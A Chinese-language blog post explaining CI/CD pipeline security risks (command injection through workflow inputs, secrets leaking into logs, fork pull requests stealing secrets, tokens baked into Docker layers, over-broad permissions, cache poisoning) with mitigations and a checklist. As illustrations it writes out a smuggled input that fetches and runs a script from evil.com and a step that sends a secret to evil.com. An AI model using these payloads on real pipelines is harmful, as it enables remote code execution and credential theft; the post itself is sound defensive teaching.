CI/CD 不是自动化,是“自动暴露风险”?聊聊流水线安全那些你踩过却没意识到的坑
说句扎心的实话:
现在很多团队的 CI/CD,不是提效工具,而是漏洞放大器。
你本来只有一个服务能被攻击,
结果一条流水线,把:
- Git 仓库
- 构建环境
- 云账号
- 生产集群
全都串在了一起。
一旦被打穿——
👉 恭喜,直接“打包送走全家桶”。
今天咱就聊两个最容易被忽视、但最致命的问题:
👉 pipeline injection(流水线注入)
👉 凭证泄露(credential leakage)
我不讲教科书,就讲真实场景 + 怎么防。
一、最隐蔽的攻击:你以为是参数,其实是命令
很多人写 pipeline,习惯这么搞:
steps:
- name: build
run: |
docker build -t myapp:${
{ github.event.inputs.tag }} .
表面上看:
👉 用户传个 tag,很正常
但如果攻击者传的是:
v1.0; curl evil.com/shell.sh | bash
那最终执行变成:
docker build -t myapp:v1.0; curl evil.com/shell.sh | bash .
👉 直接命令注入成功
这就是典型的:
👉 pipeline injection
正确姿势:不要相信任何输入
你要做的是“白名单 + 转义”,而不是“直接拼”。
方法一:严格校验
if [[ ! "$TAG" =~ ^[a-zA-Z0-9._-]+$ ]]; then
echo "Invalid tag"
exit 1
fi
方法二:不要用 shell 拼接
改成参数传递:
run: |
docker build -t "myapp:${TAG}" .
👉 注意双引号,防止分号解析
二、你以为凭证是安全的,其实早就被打印出去了
这是我见过最多的事故类型。
比如:
env:
AWS_SECRET_ACCESS_KEY: ${
{
secrets.AWS_SECRET_ACCESS_KEY }}
steps:
- run: env
👉 恭喜你:
密钥直接出现在日志里了
更隐蔽一点的:
echo "Deploy with key: $AWS_SECRET_ACCESS_KEY"
👉 CI 日志:
永久保存 + 所有人可见
正确姿势:凭证要“最小暴露”
方法一:用平台内置 masking
比如 GitHub Actions 自动 mask:
echo "::add-mask::$AWS_SECRET_ACCESS_KEY"
方法二:只在需要的步骤注入
steps:
- name: deploy
env:
AWS_SECRET_ACCESS_KEY: ${
{
secrets.AWS_SECRET_ACCESS_KEY }}
run: deploy.sh
👉 不要全局 env
方法三:避免 echo / debug 打印
很多人喜欢:
set -x
👉 这玩意会打印所有命令(包括密钥)
👉 生产环境:
必须禁用
三、最容易被忽视的一点:PR 也能打你
很多团队开了:
👉 fork PR 自动触发 pipeline
这其实是个大坑。
攻击方式:
- 提交恶意 PR
- 修改 pipeline
- 窃取 secrets
真实例子:
- run: curl evil.com?key=$SECRET
只要 CI 在 PR 上跑:
👉 secrets 就被偷走了
正确做法:隔离信任边界
GitHub Actions:
on:
pull_request:
types: [opened, synchronize]
jobs:
build:
if: github.event.pull_request.head.repo.full_name == github.repository
👉 只允许“同仓库 PR”使用 secrets
四、容器构建阶段:你以为安全,其实已经被埋雷
Dockerfile 也是攻击面。
错误示范:
ARG TOKEN
RUN git clone https://$TOKEN@github.com/private/repo.git
👉 问题:
- TOKEN 会进入镜像层
- 可以被 docker history 查到
正确姿势:用 BuildKit secrets
DOCKER_BUILDKIT=1 docker build \
--secret id=token,src=token.txt .
RUN --mount=type=secret,id=token \
git clone https://$(cat /run/secrets/token)@github.com/private/repo.git
👉 优势:
- 不进入镜像层
- 构建后自动销毁
五、权限控制:别让 CI 拥有“上帝视角”
很多公司默认:
👉 CI 拥有全部权限
比如:
- 可以删除生产资源
- 可以访问所有云账号
这就是:
👉 最危险的设计
正确做法:最小权限原则(IAM)
比如 AWS:
{
"Effect": "Allow",
"Action": [
"s3:PutObject"
],
"Resource": "arn:aws:s3:::my-bucket/*"
}
👉 CI 只做一件事:
上传文件
六、再说一个很多人没意识到的坑:缓存污染
CI 常用缓存:
- uses: actions/cache@v3
但如果 key 可控:
key: ${
{
github.ref }}
👉 攻击者可以:
- 写入恶意缓存
- 下次构建被复用
正确姿势:
key: build-${
{
hashFiles('**/package-lock.json') }}
👉 缓存绑定内容,而不是输入
七、我自己的一个“踩坑总结”
说点真心话。
我以前也觉得:
👉 “流水线只是自动化,不是安全边界”
后来踩过一次事故:
- CI 被注入命令
- 拿到云密钥
- 直接删资源
那一刻你会明白:
👉 CI/CD 本质是“最高权限入口”
因为它能:
- 读代码
- 用密钥
- 操控生产
它比任何一个服务都“危险”。
八、给你一套实战 Checklist(建议收藏)
上线前,过一遍:
pipeline injection 防护
- [ ] 所有输入做白名单校验
- [ ] 不拼接 shell 命令
- [ ] 使用参数化调用
凭证安全
- [ ] 不打印 secrets
- [ ] 不全局 env
- [ ] 使用 masking
- [ ] 禁用 set -x
PR 安全
- [ ] fork PR 不使用 secrets
- [ ] pipeline 修改需要 review
构建安全
- [ ] 不在 Dockerfile 写明文 token
- [ ] 使用 BuildKit secret
权限控制
- [ ] CI 使用最小权限
- [ ] 不使用 root / admin
结尾
很多团队天天在做:
👉 安全扫描
👉 漏洞修复
但却忽略了一个最致命的地方:
👉 流水线
你可以有再强的防火墙,
但只要 CI 被打穿——
👉 一切都是“内网操作”。
所以我一直说一句话:
👉 CI/CD 不是效率工具,它是你系统的“总闸门”。
门开着,谁都能进。